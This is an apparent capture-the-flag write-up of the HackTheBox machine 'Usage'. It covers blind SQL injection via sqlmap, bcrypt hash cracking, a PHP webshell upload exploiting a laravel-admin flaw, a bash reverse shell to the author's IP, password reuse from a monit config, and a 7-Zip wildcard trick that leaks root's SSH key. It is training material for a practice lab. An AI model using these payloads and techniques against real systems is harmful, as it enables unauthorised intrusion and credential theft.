HTB: Usage

htb-usage ctf hackthebox nmap ubuntu ffuf subdomain laravel sqli sqlmap blindsql hashcat laravel-admin cve-2023-24249 webshell monit wildcard 7z oscp-like-v3

Aug 10, 2024

HTB: Usage

- Box Info
- Recon
- Shell as dash
- Shell as xander
- Shell as root

Usage starts with a blind SQL injection in a password reset form that I can use to dump the database and find the admin login. The admin panel is made with Laravel-Admin, which has a vulnerability in it that allows uploading a PHP webshell as a profile picture by changing the file extension after client-side validation. I'll find a password in a monit config, and then abuse a wildcard vulnerability in 7z to get file read as root.

Box Info

Name	**Usage** Play on HackTheBox
Release Date	13 Apr 2024
Retire Date	10 Aug 2024
OS	Linux
Base Points	**Easy [20]**
Rated Difficulty	
Radar Graph	
1st Blood	00: 17:49 celesian Guru Rank: 248 852 1322 hackthebox.com
1st Blood	00:28:55 celesian Guru Rank: 248 852 1322 hackthebox.com
Creator	rajHere Pro Hacker Rank: 861 7 1111 hackthebox.com

Recon

nmap

`nmap` finds two open TCP ports, SSH (22) and HTTP (80):

```
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.18
Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-12 13:34 EDT
Nmap scan report for 10.10.11.18
Host is up (0.086s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.87 seconds
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.18
Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-12 13:35 EDT
Nmap scan report for 10.10.11.18
Host is up (0.086s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.75 seconds
```

Based on the OpenSSH version, the host is likely running Ubuntu 22.04 jammy.

There's a redirect on the webserver to `usage.htb`.

Subdomain Fuzz - TCP 80

Given the use of domain based routing (or virtual hosts), I'll use `ffuf` to scan for any subdomains of `usage.htb` that respond differently from the default case:

```
oxdf@hacky$ ffuf -u http://10.10.11.18 -H "Host: FUZZ.usage.htb" -w
/opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.18
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-
20000.txt
 :: Header           : Host: FUZZ.usage.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

admin                   [Status: 200, Size: 3304, Words: 493, Lines: 89, Duration:
617ms]
:: Progress: [19966/19966] :: Job [1/1] :: 464 req/sec :: Duration: [0:00:43] ::
Errors: 0 ::
```

It finds `admin.usage.htb`. I'll add these to my `/etc/hosts` file:

```
10.10.11.18 usage.htb admin.usage.htb
```

usage.htb - TCP 80

Site

The site offers a login form:

At the top, the three links lead to this login form (`/index.php/login`), the registration form (`/index.php/registration`), and `http://admin.usage.htb/`.

There's also a "Reset Password" link (`/forgot-password`) that leads to a form that asks for an email address:

If I enter an email that doesn't exist:

If after registering I enter that address:

The registration form takes a name, email, and password:

Registering redirects to the login page, and logging leads to a page with some posts on it:

These posts seem AI generated, full of buzz words and not much meaning. It does mention Laravel PHP.

Tech Stack

I've already noticed that the URL path's contain `index.php`. Before seeing that, I could also just guess at `index` extensions and find that the login form loads as `/index.php` as well.

The 404 page is the classic Laravel default 404 page with grey text on a blue background:

If I didn't recognize that, searching for some of the HTML shows some Laravel related pages:

And with that I can confirm it:

The HTTP response headers also set cookies that show Laravel:

```
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-cache, private
Date: Fri, 12 Jul 2024 17:40:25 GMT
Set-Cookie: XSRF-
TOKEN=eyJpdiI6Ilp0dFdYZXpqenVTSTMxN1k0aVZEMkE9PSIsInZhbHVlIjoiVHd4ZmtwUWp2U3dMcklUVnVJ(
expires=Fri, 12 Jul 2024 19:40:25 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie:
laravel_session=eyJpdiI6ImNUaisxQVFkSjNYV1g2UUdaMVl3S3c9PSIsInZhbHVlIjoiZG04TVpQaFMrREF
expires=Fri, 12 Jul 2024 19:40:25 GMT; Max-Age=7200; path=/; httponly; samesite=lax
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 5141
```

Laravel always sets a `XSRF-TOKEN` and `[app]_session` cookies. By default the `[app]` is `laravel`, but the application can change that.

Directory Brute Force

I'll run `feroxbuster` against the site, and include `-x php` since I know the site is PHP, but it quickly starts returning a ton of errors. This isn't going to work. I could do some things to slow down the brute force, but for an easy box this likely isn't necessary.

admin.usage.htb - TCP 80

This site presents a different login page:

My creds from the other site don't work. The 404 page is the same, and the form loads as `/index.php`, so it's likely part of the same application.

Shell as dash

SQL Injection

Identify

I'll always test every field I come across with a single quote to see if anything crashes. On the password reset form, on submitting `'` as the email, the page returns 500:

That's a good indication of SQL injection. It's likely doing a query to look up the email address in the database. I can guess that looks like:

```
select * from users where email = '{my input}';
```

If that's the case, if I send `' or 1=1 limit 1;-- -`, that would make:

```
select * from users where email = '' or 1=1;-- -';
```

It works:

That's SQL injection.

Exploitation

While what I send is displayed back, it doesn't seem like any data from the database is. It seems the code is just checking the length of replies and showing the email that was submitted.

That means getting data out of this will require an error-based or blind injection. I'll use `sqlmap` for that.

In Burp, I'll find a legit (no SQL injection) POST to `/forgot-password`, right-click on the request, and "Copy to file". `sqlmap` takes that and looks for injections:

```
oxdf@hacky$ sqlmap -r reset.request --batch
...[snip]...
[14:17:36] [WARNING] POST parameter 'email' does not seem to be injectable
[14:17:36] [CRITICAL] all tested parameters do not appear to be injectable. Try to
increase values for '--level'/'--risk' options if you wish to perform more tests. If
you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe
you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch
'--random-agent'
[14:17:36] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 40 times
...[snip]...
```

It fails. But I know this is injectable. I'll try increasing the `level` and `risk` (and `threads` and tell it to focus on `email` to speed it up):

```
oxdf@hacky$ sqlmap -r reset.request --level 5 --risk 3 --threads 10 -p email --batch
...[snip]...
sqlmap identified the following injection point(s) with a total of 739 HTTP(s)
requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=66wdoUK4YezV6ByHKCZcctCcm1Umtl8rKxq9WN4s&email=0xdf' AND 7794=
(SELECT (CASE WHEN (7794=7794) THEN 7794 ELSE (SELECT 5566 UNION SELECT 6960) END))--
GLMi

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: _token=66wdoUK4YezV6ByHKCZcctCcm1Umtl8rKxq9WN4s&email=0xdf' AND 4726=
(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B,
INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- BxSD
---
[14:30:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL > 5.0.12
...[snip]...
```

DB Enumeration

Now that `sqlmap` has identified the injection, I can use it to enumerate the DB. I'll start by listing databases by adding `--dbs` to the previous command:

```
oxdf@hacky$ sqlmap -r reset.request --level 5 --risk 3 --threads 10 -p email --batch
--dbs
...[snip]...
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
...[snip]...
```

`information_schema` and `performance_schema` are related to MySQL, where as `usage_blog` is related to the website. To list the tables in `usage_blog`, I'll replace `--dbs` with `-D usage_blog --tables`:

```
oxdf@hacky$ sqlmap -r reset.request --level 5 --risk 3 --threads 10 -p email --batch
-D usage_blog --tables
...[snip]...
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+
...[snip]...
```

It's a bit slow, so I'll want to dump data selectively. I'll start with the `admin_users` table, replacing `--tables` with `-T admin_users --dump`:

```
oxdf@hacky$ sqlmap -r reset.request --level 5 --risk 3 --threads 10 -p email --batch
-D usage_blog -T admin_users --dump
...[snip]...
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+----------------------------------------------------
---------+----------+---------------------+---------------------+-------------------
-----------------------------------------+
| id | name          | avatar  | password
| username
| created_at          | updated_at          | remember_token
|
+----+---------------+---------+----------------------------------------------------
---------+----------+---------------------+---------------------+-------------------
-----------------------------------------+
| 1  | Administrator | <blank> |
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin
| 2023-08-13 02:48:26 | 2023-08-23 06:02:19 |
kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+----------------------------------------------------
---------+----------+---------------------+---------------------+-------------------
-----------------------------------------+
...[snip]...
```

There's one user. I could dump the other tables, but that's all I'll need.

Crack Hash

I'll save that hash to a file and use `hashcat` with the `rockyou.txt` wordlist to try to crack it. If I let it try to detect the hash format, it'll complain there are multiple possibilities:

```
$ hashcat ./admin.hash rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
The following 4 hash-modes match the structure of your input hash:

      # | Name                                                       | Category

======+============================================================+==================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-C
  25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-C
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-C

Please specify the hash-mode with -m [hash-mode].
...[snip]...
```

The last three are cases where the password is hashes first with an older hashing format and then with `bcrypt`. That is a common way to migrate a database from just using MD5 to using BCrypt without having users have to change their password. Just set it to do both, and take all the MD5s currently in the DB and BCrypt them and they've been updated.

Given that, it makes sense to try straight BCrypt first:

```
$ hashcat ./admin.hash rockyou.txt -m 3200
hashcat (v6.2.6) starting
...[snip]...
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1
...[snip]...
```

On my host, it cracks in a few seconds to "whatever1".

RCE

Site Enumeration

That password works to log into `admin.usage.htb`:

This is some kind of admin dashboard. It's showing information about the site, including the packages that are installed and the versions. Given that the top dependency is "laravel-admin", it seems likely that that's what is used to build this.

There's another option to look at users and roles:

Identify CVE-2023-24249

Any time I get access to versions of things installed, it's good to do a quick search for "[software] [version] vulnerability". The first one gets a hit:

They all reference v 1.8.19, and 1.8.18 is installed on Usage, which is close enough for further investigation.

CVE-2023-24249 Background

This page says all version less than 1.8.19, and links to this post detailing the vulnerability. Basically the admin profile picture upload does not validate that the extension is an image, and allows for PHP code to be uploaded and accessed with a `.php` extension, resulting in execution.

Exploit

I'll create a simple file named `0xdf.php` with the following PHP webshell as the contents:

```
<?php system($_REQUEST['cmd']); ?>
```

If I try to upload it, it's rejected:

I'll rename it `0xdf.php.jpg`:

The site seems ok. When I hit "Submit" it says:

And on refresh, the Avatar is broken:

I can right-click on that and open it in a new tab, and it shows the broken image, but doesn't run any code:

That's because of the `.jpg` extension.

I'll turn on Intercept in Burp, and upload it again. When the request reached my proxy, I'll find the file upload, and edit it back to `.php`:

Now the page runs commands:

Shell

To get a shell, I'll start `nc` listening on port 443, and then run a bash reverse shell as the command. I'll need to encode the `&` characters as `%26` so that the browser doesn't think they are the start of a new parameter, but the rest the browser will encode as necessary:

```
http://admin.usage.htb/uploads/images/0xdf.php?cmd=bash -c 'bash -i >%26
/dev/tcp/10.10.14.6/443 0>%261'
```

When I submit, there's a connection at `nc`:

```
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.18 50774
bash: cannot set terminal process group (1228): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$
```

I'll use the standard trick to upgrade my shell:

```
dash@usage:/var/www/html/project_admin/public/uploads/images$ script /dev/null -c
bash
Script started, output log file is '/dev/null'.
dash@usage:/var/www/html/project_admin/public/uploads/images$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
dash@usage:/var/www/html/project_admin/public/uploads/images$
```

And grab `user.txt`:

```
dash@usage:~$ cat user.txt
18b4939c************************
```

Shell as xander

Enumeration

Users

There is one other user on the host with a home directory in `/home`:

```
dash@usage:/home$ ls
dash  xander
```

That matches the list of users with shells set in `passwd`:

```
dash@usage:~$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash
```

dash cannot access xander's home directory.

Home

There are a bunch of hidden files (starting with `.`) in dash's home directory:

```
dash@usage:~$ ls -la
total 52
drwxr-x--- 6 dash dash 4096 Jul 12 21:18 .
drwxr-xr-x 4 root root 4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root    9 Apr  2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan  6  2022 .bashrc
drwx------ 3 dash dash 4096 Aug  7  2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20  2023 .config
drwxrwxr-x 3 dash dash 4096 Aug  7  2023 .local
-rw-r--r-- 1 dash dash   32 Oct 26  2023 .monit.id
-rw-r--r-- 1 dash dash    5 Jul 12 21:18 .monit.pid
-rw------- 1 dash dash 1192 Jul 12 21:16 .monit.state
-rwx------ 1 dash dash  707 Oct 26  2023 .monitrc
-rw-r--r-- 1 dash dash  807 Jan  6  2022 .profile
drwx------ 2 dash dash 4096 Aug 24  2023 .ssh
-rw-r----- 1 root dash   33 Aug 24  2023 user.txt
```

This is very common for a Linux home directory, but it's still worth checking them out. There are four related to Monit, which describes itself as:

> *Monit is a small Open Source utility for managing and monitoring Unix systems. Monit conducts automatic maintenance and repair and can execute meaningful causal actions in error situations.*

In the `.monit.rc` file, there is a password:

```
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd

#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
    if cpu > 80% for 2 cycles then alert


#System Monitoring
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert

check filesystem rootfs with path /
       if space usage > 80% then alert
```

Shell

Before trying these creds on the service they are for, I'll try them on other users on the box to see if they provide a pivot. They work for xander over `su`:

```
dash@usage:~$ su - xander
Password:
xander@usage:~$
```

They also work over SSH (I like to use `sshpass` to pass the password on the command line, which is great for CTF documentation, but not something to do in the real world):

```
oxdf@hacky$ sshpass -p '3nc0d3d_pa$$w0rd' ssh xander@usage.htb
Warning: Permanently added 'usage.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...[snip]...
xander@usage:~$
```

Shell as root

Enumeration

The xander user is not in an special groups:

```
xander@usage:~$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
```

They do have `sudo` access to run the `usage_management` script as any user without a password:

```
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bi
use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management
```

usage_management

File Properties

The file is a Linux ELF executable:

```
xander@usage:~$ file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not
stripped
```

I'll grab a hash of it to search in VirusTotal:

```
xander@usage:~$ md5sum /usr/bin/usage_management
f3c1b2b1ccacc24cc7ed8f3ad62bb7c6  /usr/bin/usage_management
```

This file has never been submitted to VT before:

That's a good indication that it's custom to Usage, as any real file would have been there by now.

Run It

Running the binary offers a menu with three options:

```
xander@usage:~$ sudo usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
```

Giving it option 1 runs 7-Zip for a while:

```
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC
7302P 16-Core Processor                (830F10),ASM,AES-NI)

Scanning the drive:
2984 folders, 17945 files, 113878790 bytes (109 MiB)

Creating archive: /var/backups/project.zip

Items to compress: 20929


Files read from disk: 17945
Archive size: 54829609 bytes (53 MiB)
Everything is Ok
```

Option 2 just returns. Option three just returns a message:

```
xander@usage:~$ sudo usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 3
Password has been reset.
```

strings

I could exfil this binary and open it in Ghidra, but I don't need to. `strings` shows a lot of what is going on here:

```
xander@usage:~$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
system
...[snip]...
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
Invalid choice.
...[snip]...
```

It looks like option 1 changes into `/var/www/html` (based on that string and the one two below with an error about failing to do so), and then runs `7za` to create a file in `/var/backups`. I'll note that `snl` means to store links as links, so I can't just write a link to `/root` into `/var/www/html` and get a full copy of it.

Option 2 is likely calling `mysqldump`.

It's not clear what option 3 does. I could investigate. It doesn't take input, so the only real hope would be a hardcoded password (perhaps obfuscated so it doesn't show up in `strings`), but it turns out to be nothing, just a troll.

Exploit

Wildcards (`*`) in commands are often dangerous. Searching for "7za wildcard exploit" I'll find this HackTricks page with a section on 7z.

The attack is to create a file named `@whatever`, and then another one named `whatever` that is a symbolic link to the file I want to read.

When 7z processes the wildcard, it will look like:

```
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- @whatever whatever
[otherfiles]
```

7z will process `@whatever` as a marker to read the contents of `whatever` as a list of files to include. When the content of that file isn't a list of file names, it will print the contents as errors.

Like this:

I can do the same thing to get `/root/.ssh/id_rsa`:

```
xander@usage:/var/www/html$ touch @0xdf; ln -fs /root/.ssh/id_rsa 0xdf
xander@usage:/var/www/html$ sudo usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC
7302P 16-Core Processor                (830F10),ASM,AES-NI)

Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54829609

Scanning the drive:
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----

WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW

WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi

...[snip]...

WARNING: No more files
-----END OPENSSH PRIVATE KEY-----

2984 folders, 17946 files, 113879189 bytes (109 MiB)

Updating archive: /var/backups/project.zip

Items to compress: 20930

Scan WARNINGS for files and folders:

-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more
files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more
files
...[snip]...
-----END OPENSSH PRIVATE KEY----- : No more files
----------------
Scan WARNINGS: 7

Break signaled
```

I can save that to a file, remove the “ : No more files” messages from each line, and log in:

```
oxdf@hacky$ vim ~/keys/usage-root
oxdf@hacky$ chmod 600 ~/keys/usage-root
oxdf@hacky$ ssh -i ~/keys/usage-root root@usage.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
...[snip]...
root@usage:~#
```

And read `root.txt`:

```
root@usage:~# cat root.txt
3b2f895e************************
```

0xdf hacks stuff

0xdf hacks stuff
0xdf.223@gmail.com

0xdf
0xdf
feed
0xdf
@0xdf@infosec.exchange

CTF solutions, malware analysis, home lab development

Buy me a coffee